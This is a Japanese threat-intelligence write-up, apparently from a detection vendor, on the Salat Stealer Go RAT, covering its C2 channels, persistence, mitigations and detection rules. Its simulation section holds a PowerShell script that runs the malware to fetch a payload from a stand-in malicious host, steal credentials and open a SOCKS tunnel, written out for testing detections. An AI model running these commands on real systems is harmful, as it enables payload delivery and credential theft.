Salat スティーラー分析: Go ベースの RAT、C2 レジリエンスと情報窃取能力
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Salat Stealerは、フル機能のポストエクスプロイトフレームワークとして機能するGoベースのリモートアクセス型トロイの木馬です。WebSocket、HTTP/2、HTTP/3、QUICなどの複数の通信チャネルをサポートしており、オペレーターに柔軟で耐障害性のあるコマンドアンドコントロールオプションを提供します。このマルウェアはブラウザデータ、暗号通貨ウォレット、キーストローク、スクリーンショット、さらにSOCKS5を通じたネットワークピボットを狙った広範なクレデンシャル窃取機能も含んでいます。再起動後も生存するために、隠しファイルのコピー、スケジュールされたタスク、Runレジストリキーを使用します。主要なインフラが遮断された場合、TONブロックチェーンを通じて更新されたコマンドアンドコントロールの詳細を取得することができます。
調査
この分析では、被害者のホスト名と組み合わせた静的文字列から暗号化キーを導出し、5つの埋め込まれたコマンドアンドコントロールURLを復号する方法について説明しています。研究者はまた、Salat Stealerがどのようにトランスポートプロトコルを選択し、オペレーターのコマンドを処理し、権限昇格を試み、ホスト上で複数の永続化メソッドを展開するかを記録しました。この報告書はさらに、盗まれたデータの範囲と攻撃者が利用可能な広範なリモートアクセス機能についても概説しています。
軽減策
防御者は、特定されたコマンドアンドコントロールURLへの接続や、未知の宛先への不意なQUICおよびWebSocketトラフィックを監視するべきです。セキュリティチームは、隠しスケジュールタスクや見覚えのない実行ファイルを指す怪しいRunキーエントリにも注意を払うべきです。アプリケーションの許可リスト化と厳格な実行制御は、Goベースのペイロードの実行を防ぐのに役立ちます。ネットワークのセグメンテーションとTLSの検査は、マルウェアに関連する疑わしいアウトバウンドトラフィックへの可視性をさらに向上させます。
対応
Salat Stealerの活動が検出された場合は、直ちに影響を受けたシステムを隔離し、メモリやディスクイメージを収集し、悪意のあるプロセスを終了させます。スケジュールされたタスク、Runキーエントリ、マルウェアが使用する隠しファイルのコピーを含むすべての永続化アーティファクトを削除します。特定されたコマンドアンドコントロールドメインはブロックされるべきで、バックアップインフラストラクチャの発見に使用されたTONブロックチェーンの検索も同様です。露出したクレデンシャルと暗号通貨ウォレットも直ちに変更または保護されるべきです。
graph TB classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc malware_salatr[“<b>マルウェア</b> – 名前: Salat Stealer (Go RAT)<br/>説明: Goベースのリモートアクセス型トロイの木馬。盗難・永続化・横展開に使用される。”] class malware_salatr malware process_start[“プロセス: SalatStealer.exe 起動”] class process_start process malware_salatr –> process_start persistence_task[“永続化: 隠しスケジュールタスク”] class persistence_task action persistence_reg[“レジストリ Run キー (HKCU\\Run)”] class persistence_reg action process_start –> persistence_task process_start –> persistence_reg defense_evasion[“回避: 難読化処理”] class defense_evasion action process_start –> defense_evasion discovery[“システム情報収集”] class discovery action process_start –> discovery credential_access[“資格情報取得 + キーロギング”] class credential_access action process_start –> credential_access collection[“スクリーンショット・動画・ZIP収集”] class collection action credential_access –> collection c2[“C2: WebSocket/QUIC通信”] class c2 action collection –> c2 exfiltration[“データ送信(C2経由)”] class exfiltration action c2 –> exfiltration command_exec[“リモートコマンド実行”] class command_exec action exfiltration –> command_exec lateral[“SOCKS5による横展開”] class lateral action command_exec –> lateral
攻撃フロー
検出
疑わしいコマンドアンドコントロールによる異常なトップレベルドメイン(TLD)DNSリクエスト(via dns)
表示
可能性のある永続化ポイント [ASEPs – ソフトウェア/NTUSERハイブ](via registry_event)
表示
非定型パスからのシステムプロセス実行(via process_creation)
表示
Salat Stealerの検出用IOC(HashSha256): RAT C2耐障害性および情報窃取機能の解析
表示
Salat Stealerの検出用IOC(HashSha1): RAT C2耐障害性および情報窃取機能の解析
表示
Salat Stealerの検出用IOC(HashMd5): RAT C2耐障害性および情報窃取機能の解析
表示
Salat Stealer RAT活動の検出 [Windows Sysmon]
表示
Salat StealerのC2通信パターンの検出 [Windowsネットワーク接続]
表示
Salat Stealerの実行およびモード検出 [Windowsプロセス作成]
表示
シミュレーション実行
前提条件:テレメトリとベースラインプリフライトチェックが通過している必要があります。
理由:このセクションは、検出ルールをトリガーするために設計された敵の手法(TTP)の正確な実行を詳細に説明します。コマンドおよび説明文は、特定されたTTPと直接一致し、検出ロジックが期待する正確なテレメトリを生成することを目的としています。
-
攻撃の概要とコマンド:
攻撃者は、フィッシングの添付ファイルを通じて被害者のホストにSalat RATバイナリ(salat.exe)を配信しました。低い特権の足場を確保した後、攻撃者は特定の引数でバイナリを実行して、以下を行います:- 二次ペイロードをダウンロード –
main.downloadFile https://malicious.example.com/payload.exe. - 保存された資格情報を盗む –
main.Steal -module credentials. - 水平移動のためのピアツーピア SOCKS トンネルを確立 –
main.p2pSocks -listen 1080 -remote 10.0.0.5:4444.
バイナリは権限昇格要件を満たすために昇格されたPowerShellセッションから起動されます。各起動は、Sigmaルールと一致する対応するコマンドラインのSysmonプロセス作成として表示されます。
- 二次ペイロードをダウンロード –
-
回帰テストスクリプト:
# ------------------------------------------------- # Salat RAT シミュレーションスクリプト – 検出をトリガー # ------------------------------------------------- $binaryPath = "C:Tempsalat.exe" # バイナリが存在することを確認(プレースホルダー – 実際のテストではバイナリが事前に配置されている) if (-Not (Test-Path $binaryPath)) { Write-Error "Salat バイナリが $binaryPath に見つかりません" exit 1 } # 1. 二次ペイロードのダウンロード Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait # 2. クレデンシャルを盗む Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait # 3. P2P SOCKS トンネルを開く Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait Write-Host "シミュレーション完了。" -
クリーンアップコマンド:
# ------------------------------------------------- # Salat RAT シミュレーションのクリーンアップ # ------------------------------------------------- # 残っている Salat プロセスを終了 Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force # バイナリを削除(許可される場合) $binaryPath = "C:Tempsalat.exe" if (Test-Path $binaryPath) { Remove-Item $binaryPath -Force Write-Host "Removed $binaryPath" } # 関連するSysmonイベントをテストインデックスからオプションでクリア(Splunk例) # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'